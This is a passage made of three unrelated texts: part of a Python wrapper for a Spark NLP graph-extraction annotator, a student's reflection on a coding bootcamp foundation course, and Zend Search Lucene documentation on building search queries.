"Coordinates (name, lang, remoteLoc) to a pretrained Typed Dependency Parser model",
typeConverter=TypeConverters.toListString)
[docs] def setRelationshipTypes(self, value):
"""Sets paths to find between a pair of token and entity.
Parameters
----------
value : List[str]
Paths to find between a pair of token and entity
"""
return self._set(relationshipTypes=value)
[docs] def setEntityTypes(self, value):
"""Sets paths to find between a pair of entities.
Parameters
----------
value : List[str]
Paths to find between a pair of entities
"""
return self._set(entityTypes=value)
[docs] def setExplodeEntities(self, value):
"""Sets whether to find paths between entities.
Parameters
----------
value : bool
Whether to find paths between entities.
"""
return self._set(explodeEntities=value)
[docs] def setRootTokens(self, value):
"""Sets tokens to be considered as the root to start traversing the paths.
Use it along with explodeEntities.
Parameters
----------
value : List[str]
Sets Tokens to be consider as root to start traversing the paths.
"""
return self._set(rootTokens=value)
[docs] def setMaxSentenceSize(self, value):
"""Sets Maximum sentence size that the annotator will process, by
default 1000.
Above this, the sentence is skipped.
Parameters
----------
value : int
Maximum sentence size that the annotator will process
"""
return self._set(maxSentenceSize=value)
[docs] def setMinSentenceSize(self, value):
"""Sets Minimum sentence size that the annotator will process, by
default 2.
Below this, the sentence is skipped.
Parameters
----------
value : int
Minimum sentence size that the annotator will process
"""
return self._set(minSentenceSize=value)
[docs] def setMergeEntities(self, value):
"""Sets whether to merge same neighboring entities as a single token.
Parameters
----------
value : bool
Whether to merge same neighboring entities as a single token.
"""
return self._set(mergeEntities=value)
[docs] def setMergeEntitiesIOBFormat(self, value):
"""Sets IOB format to apply when merging entities.
Parameters
----------
value : str
IOB format to apply when merging entities. Values IOB or IOB2
"""
return self._set(mergeEntitiesIOBFormat=value)
[docs] def setIncludeEdges(self, value):
"""Sets whether to include edges when building paths.
Parameters
----------
value : bool
Whether to include edges when building paths
"""
return self._set(includeEdges=value)
[docs] def setDelimiter(self, value):
"""Sets delimiter symbol used for path output.
Parameters
----------
value : str
Delimiter symbol used for path output
"""
return self._set(delimiter=value)
[docs] def setPosModel(self, value):
"""Sets Coordinates (name, lang, remoteLoc) to a pretrained POS model.
Parameters
----------
value : List[str]
Coordinates (name, lang, remoteLoc) to a pretrained POS model
"""
return self._set(posModel=value)
[docs] def setDependencyParserModel(self, value):
"""Sets Coordinates (name, lang, remoteLoc) to a pretrained Dependency
Parser model.
Parameters
----------
value : List[str]
Coordinates (name, lang, remoteLoc) to a pretrained Dependency
Parser model
"""
return self._set(dependencyParserModel=value)
[docs] def setTypedDependencyParserModel(self, value):
"""Sets Coordinates (name, lang, remoteLoc) to a pretrained Typed
Dependency Parser model.
Parameters
----------
value : List[str]
Coordinates (name, lang, remoteLoc) to a pretrained Typed Dependency
Parser model
"""
return self._set(typedDependencyParserModel=value)
@keyword_only
def __init__(self, classname="com.johnsnowlabs.nlp.annotators.GraphExtraction", java_model=None):
super(GraphExtraction, self).__init__(
classname=classname,
java_model=java_model
)
self._setDefault(
maxSentenceSize=1000,
minSentenceSize=2
)


My optimistic strengths help me to overcome many problems in my life. I am a fast learner and really flexible, it is easy for me to adapt in any environment.
Try to finish each sprint within the time box suggestion; I studied little bit before the foundation by code academy, but I still felt bit behind when I was doing the first sprint, and also confuse what I had to do to finish each sprint. I didn’t not have a plan for the sprint1, everything was rush and I felt bit Impulsive. I believe what I have to do, as my partner said, I should compare myself now to the past, rather than compare myself with other learner. Try to claim and be patient, try to not in rush to finish a challenge; try to make sure I really understand the concept and the resource content and the technical. Try to figure out the stuck by myself, I believe this is also a way to improve my skill. Only ask the smart questions.In the future, for the boot camp.
I write note during I am studying, when I need to seek help, If I remembered the note may contain the information, I usually check my handbook first, mostly I seek help from google, this is the best way to find information
I have no commitment to other things during the foundation period, only thing I commitment to do is going back China on 10th march for my grandfather’s 80 years old birthday party, so I hope I would successfully and likely to finish all my sprints before that day, and looking forward to join the bootcamp and get a job after the course finish.


In addition to parsing a string query automatically it’s also possible to construct them with the query API.
User queries can be combined with queries created through the query API. Simply use the query parser to construct a query from a string:
1 | $query = Zend\Search\Lucene\Search\QueryParser::parse($queryString);
|
The query parser may generate two types of exceptions:
- Zend\Search\Lucene\Exception is thrown if something goes wrong in the query parser itself.
- Zend\Search\Lucene\Search\QueryParserException is thrown when there is an error in the query syntax.
It’s a good idea to catch Zend\Search\Lucene\Search\QueryParserExceptions and handle them appropriately:
1 2 3 4 5 | try {
$query = Zend\Search\Lucene\Search\QueryParser::parse($queryString);
} catch (Zend\Search\Lucene\Search\QueryParserException $e) {
echo "Query syntax error: " . $e->getMessage() . "\n";
}
|
The same technique should be used for the find() method of a Zend\Search\Lucene object.
Starting in 1.5, query parsing exceptions are suppressed by default. If query doesn’t conform query language, then it’s tokenized using current default analyzer and all tokenized terms are used for searching. Use Zend\Search\Lucene\Search\QueryParser::dontSuppressQueryParsingExceptions() method to turn exceptions on. Zend\Search\Lucene\Search\QueryParser::suppressQueryParsingExceptions() and Zend\Search\Lucene\Search\QueryParser::queryParsingExceptionsSuppressed() methods are also intended to manage exceptions handling behavior.
Term queries can be used for searching with a single term.
Query string:
1 | word1
|
or
Query construction by API:
1 2 3 | $term = new Zend\Search\Lucene\Index\Term('word1', 'field1');
$query = new Zend\Search\Lucene\Search\Query\Term($term);
$hits = $index->find($query);
|
The term field is optional. Zend\Search\Lucene searches through all indexed fields in each document if the field is not specified:
1 2 3 4 | // Search for 'word1' in all indexed fields
$term = new Zend\Search\Lucene\Index\Term('word1');
$query = new Zend\Search\Lucene\Search\Query\Term($term);
$hits = $index->find($query);
|
Multi-term queries can be used for searching with a set of terms.
Each term in a set can be defined as required, prohibited, or neither.
- required means that documents not matching this term will not match the query;
- prohibited means that documents matching this term will not match the query;
- neither, in which case matched documents are neither prohibited from, nor required to, match the term. A document must match at least 1 term, however, to match the query.
If optional terms are added to a query with required terms, both queries will have the same result set but the optional terms may affect the score of the matched documents.
Both search methods can be used for multi-term queries.
Query string:
1 | +word1 author:word2 -word3
|
or
Query construction by API:
1 2 3 4 5 6 7 8 | $query = new Zend\Search\Lucene\Search\Query\MultiTerm();
$query->addTerm(new Zend\Search\Lucene\Index\Term('word1'), true);
$query->addTerm(new Zend\Search\Lucene\Index\Term('word2', 'author'),
null);
$query->addTerm(new Zend\Search\Lucene\Index\Term('word3'), false);
$hits = $index->find($query);
|
It’s also possible to specify terms list within MultiTerm query constructor:
1 2 3 4 5 6 7 8 | $terms = array(new Zend\Search\Lucene\Index\Term('word1'),
new Zend\Search\Lucene\Index\Term('word2', 'author'),
new Zend\Search\Lucene\Index\Term('word3'));
$signs = array(true, null, false);
$query = new Zend\Search\Lucene\Search\Query\MultiTerm($terms, $signs);
$hits = $index->find($query);
|
The $signs array contains information about the term type:
- TRUE is used to define required term.
- FALSE is used to define prohibited term.
- NULL is used to define a term that is neither required nor prohibited.
Boolean queries allow to construct query using other queries and boolean operators.
Each subquery in a set can be defined as required, prohibited, or optional.
- required means that documents not matching this subquery will not match the query;
- prohibited means that documents matching this subquery will not match the query;
- optional, in which case matched documents are neither prohibited from, nor required to, match the subquery. A document must match at least 1 subquery, however, to match the query.
If optional subqueries are added to a query with required subqueries, both queries will have the same result set but the optional subqueries may affect the score of the matched documents.
Both search methods can be used for boolean queries.
Query string:
1 | +(word1 word2 word3) (author:word4 author:word5) -(word6)
|
or
Query construction by API:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | $query = new Zend\Search\Lucene\Search\Query\Boolean();
$subquery1 = new Zend\Search\Lucene\Search\Query\MultiTerm();
$subquery1->addTerm(new Zend\Search\Lucene\Index\Term('word1'));
$subquery1->addTerm(new Zend\Search\Lucene\Index\Term('word2'));
$subquery1->addTerm(new Zend\Search\Lucene\Index\Term('word3'));
$subquery2 = new Zend\Search\Lucene\Search\Query\MultiTerm();
$subquery2->addTerm(new Zend\Search\Lucene\Index\Term('word4', 'author'));
$subquery2->addTerm(new Zend\Search\Lucene\Index\Term('word5', 'author'));
$term6 = new Zend\Search\Lucene\Index\Term('word6');
$subquery3 = new Zend\Search\Lucene\Search\Query\Term($term6);
$query->addSubquery($subquery1, true /* required */);
$query->addSubquery($subquery2, null /* optional */);
$query->addSubquery($subquery3, false /* prohibited */);
$hits = $index->find($query);
|
It’s also possible to specify subqueries list within Boolean query constructor:
1 2 3 4 5 6 7 | ...
$subqueries = array($subquery1, $subquery2, $subquery3);
$signs = array(true, null, false);
$query = new Zend\Search\Lucene\Search\Query\Boolean($subqueries, $signs);
$hits = $index->find($query);
|
The $signs array contains information about the subquery type:
- TRUE is used to define required subquery.
- FALSE is used to define prohibited subquery.
- NULL is used to define a subquery that is neither required nor prohibited.
Each query which uses boolean operators can be rewritten using signs notation and constructed using API. For example:
1 | word1 AND (word2 AND word3 AND NOT word4) OR word5
|
is equivalent to
1 | (+(word1) +(+word2 +word3 -word4)) (word5)
|
Wildcard queries can be used to search for documents containing strings matching specified patterns.
The ‘?’ symbol is used as a single character wildcard.
The ‘*’ symbol is used as a multiple character wildcard.
Query string:
1 | field1:test*
|
or
Query construction by API:
1 2 3 | $pattern = new Zend\Search\Lucene\Index\Term('test*', 'field1');
$query = new Zend\Search\Lucene\Search\Query\Wildcard($pattern);
$hits = $index->find($query);
|
The term field is optional. Zend\Search\Lucene searches through all fields on each document if a field is not specified:
1 2 3 | $pattern = new Zend\Search\Lucene\Index\Term('test*');
$query = new Zend\Search\Lucene\Search\Query\Wildcard($pattern);
$hits = $index->find($query);
|
Fuzzy queries can be used to search for documents containing strings matching terms similar to specified term.
Query string:
1 | field1:test~
|
This query matches documents containing ‘test’ ‘text’ ‘best’ words and others.
or
Query construction by API:
1 2 3 | $term = new Zend\Search\Lucene\Index\Term('test', 'field1');
$query = new Zend\Search\Lucene\Search\Query\Fuzzy($term);
$hits = $index->find($query);
|
Optional similarity can be specified after “~” sign.
Query string:
1 | field1:test~0.4
|
or
Query construction by API:
1 2 3 | $term = new Zend\Search\Lucene\Index\Term('test', 'field1');
$query = new Zend\Search\Lucene\Search\Query\Fuzzy($term, 0.4);
$hits = $index->find($query);
|
The term field is optional. Zend\Search\Lucene searches through all fields on each document if a field is not specified:
1 2 3 | $term = new Zend\Search\Lucene\Index\Term('test');
$query = new Zend\Search\Lucene\Search\Query\Fuzzy($term);
$hits = $index->find($query);
|
Phrase Queries can be used to search for a phrase within documents.
Phrase Queries are very flexible and allow the user or developer to search for exact phrases as well as ‘sloppy’ phrases.
Phrases can also contain gaps or terms in the same places; they can be generated by the analyzer for different purposes. For example, a term can be duplicated to increase the term its weight, or several synonyms can be placed into a single position.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | $query1 = new Zend\Search\Lucene\Search\Query\Phrase();
// Add 'word1' at 0 relative position.
$query1->addTerm(new Zend\Search\Lucene\Index\Term('word1'));
// Add 'word2' at 1 relative position.
$query1->addTerm(new Zend\Search\Lucene\Index\Term('word2'));
// Add 'word3' at 3 relative position.
$query1->addTerm(new Zend\Search\Lucene\Index\Term('word3'), 3);
...
$query2 = new Zend\Search\Lucene\Search\Query\Phrase(
array('word1', 'word2', 'word3'), array(0,1,3));
...
// Query without a gap.
$query3 = new Zend\Search\Lucene\Search\Query\Phrase(
array('word1', 'word2', 'word3'));
...
$query4 = new Zend\Search\Lucene\Search\Query\Phrase(
array('word1', 'word2'), array(0,1), 'annotation');
|
A phrase query can be constructed in one step with a class constructor or step by step with Zend\Search\Lucene\Search\Query\Phrase::addTerm() method calls.
Zend\Search\Lucene\Search\Query\Phrase class constructor takes three optional arguments:
1 2 3 | Zend\Search\Lucene\Search\Query\Phrase(
[array $terms[, array $offsets[, string $field]]]
);
|
The $terms parameter is an array of strings that contains a set of phrase terms. If it’s omitted or equal to NULL, then an empty query is constructed.
The $offsets parameter is an array of integers that contains offsets of terms in a phrase. If it’s omitted or equal to NULL, then the terms’ positions are assumed to be sequential with no gaps.
The $field parameter is a string that indicates the document field to search. If it’s omitted or equal to NULL, then the default field is searched.
Thus:
1 2 | $query =
new Zend\Search\Lucene\Search\Query\Phrase(array('zend', 'framework'));
|
will search for the phrase ‘zend framework’ in all fields.
1 2 3 | $query = new Zend\Search\Lucene\Search\Query\Phrase(
array('zend', 'download'), array(0, 2)
);
|
will search for the phrase ‘zend ????? download’ and match ‘zend platform download’, ‘zend studio download’, ‘zend core download’, ‘zend framework download’, and so on.
1 2 3 | $query = new Zend\Search\Lucene\Search\Query\Phrase(
array('zend', 'framework'), null, 'title'
);
|
will search for the phrase ‘zend framework’ in the ‘title’ field.
Zend\Search\Lucene\Search\Query\Phrase::addTerm() takes two arguments, a required Zend\Search\Lucene\Index\Term object and an optional position:
1 2 3 | Zend\Search\Lucene\Search\Query\Phrase::addTerm(
Zend\Search\Lucene\Index\Term $term[, integer $position]
);
|
The $term parameter describes the next term in the phrase. It must indicate the same field as previous terms, or an exception will be thrown.
The $position parameter indicates the term position in the phrase.
Thus:
1 2 3 | $query = new Zend\Search\Lucene\Search\Query\Phrase();
$query->addTerm(new Zend\Search\Lucene\Index\Term('zend'));
$query->addTerm(new Zend\Search\Lucene\Index\Term('framework'));
|
will search for the phrase ‘zend framework’.
1 2 3 | $query = new Zend\Search\Lucene\Search\Query\Phrase();
$query->addTerm(new Zend\Search\Lucene\Index\Term('zend'), 0);
$query->addTerm(new Zend\Search\Lucene\Index\Term('framework'), 2);
|
will search for the phrase ‘zend ????? download’ and match ‘zend platform download’, ‘zend studio download’, ‘zend core download’, ‘zend framework download’, and so on.
1 2 3 | $query = new Zend\Search\Lucene\Search\Query\Phrase();
$query->addTerm(new Zend\Search\Lucene\Index\Term('zend', 'title'));
$query->addTerm(new Zend\Search\Lucene\Index\Term('framework', 'title'));
|
will search for the phrase ‘zend framework’ in the ‘title’ field.
The slop factor sets the number of other words permitted between specified words in the query phrase. If set to zero, then the corresponding query is an exact phrase search. For larger values this works like the WITHIN or NEAR operators.
The slop factor is in fact an edit distance, where the edits correspond to moving terms in the query phrase. For example, to switch the order of two words requires two moves (the first move places the words atop one another), so to permit re-orderings of phrases, the slop factor must be at least two.
More exact matches are scored higher than sloppier matches; thus, search results are sorted by exactness. The slop is zero by default, requiring exact matches.
The slop factor can be assigned after query creation:
1 2 3 4 5 6 7 8 9 10 11 12 | // Query without a gap.
$query =
new Zend\Search\Lucene\Search\Query\Phrase(array('word1', 'word2'));
// Search for 'word1 word2', 'word1 ... word2'
$query->setSlop(1);
$hits1 = $index->find($query);
// Search for 'word1 word2', 'word1 ... word2',
// 'word1 ... ... word2', 'word2 word1'
$query->setSlop(2);
$hits2 = $index->find($query);
|
Range queries are intended for searching terms within specified interval.
Query string:
1 2 | mod_date:[20020101 TO 20030101]
title:{Aida TO Carmen}
|
or
Query construction by API:
1 2 3 4 5 6 | $from = new Zend\Search\Lucene\Index\Term('20020101', 'mod_date');
$to = new Zend\Search\Lucene\Index\Term('20030101', 'mod_date');
$query = new Zend\Search\Lucene\Search\Query\Range(
$from, $to, true // inclusive
);
$hits = $index->find($query);
|
Term fields are optional. Zend\Search\Lucene searches through all fields if the field is not specified:
1 2 3 4 5 6 | $from = new Zend\Search\Lucene\Index\Term('Aida');
$to = new Zend\Search\Lucene\Index\Term('Carmen');
$query = new Zend\Search\Lucene\Search\Query\Range(
$from, $to, false // non-inclusive
);
$hits = $index->find($query);
|
Either (but not both) of the boundary terms may be set to NULL. Zend\Search\Lucene searches from the beginning or up to the end of the dictionary for the specified field(s) in this case:
1 2 3 4 5 6 | // searches for ['20020101' TO ...]
$from = new Zend\Search\Lucene\Index\Term('20020101', 'mod_date');
$query = new Zend\Search\Lucene\Search\Query\Range(
$from, null, true // inclusive
);
$hits = $index->find($query);
|
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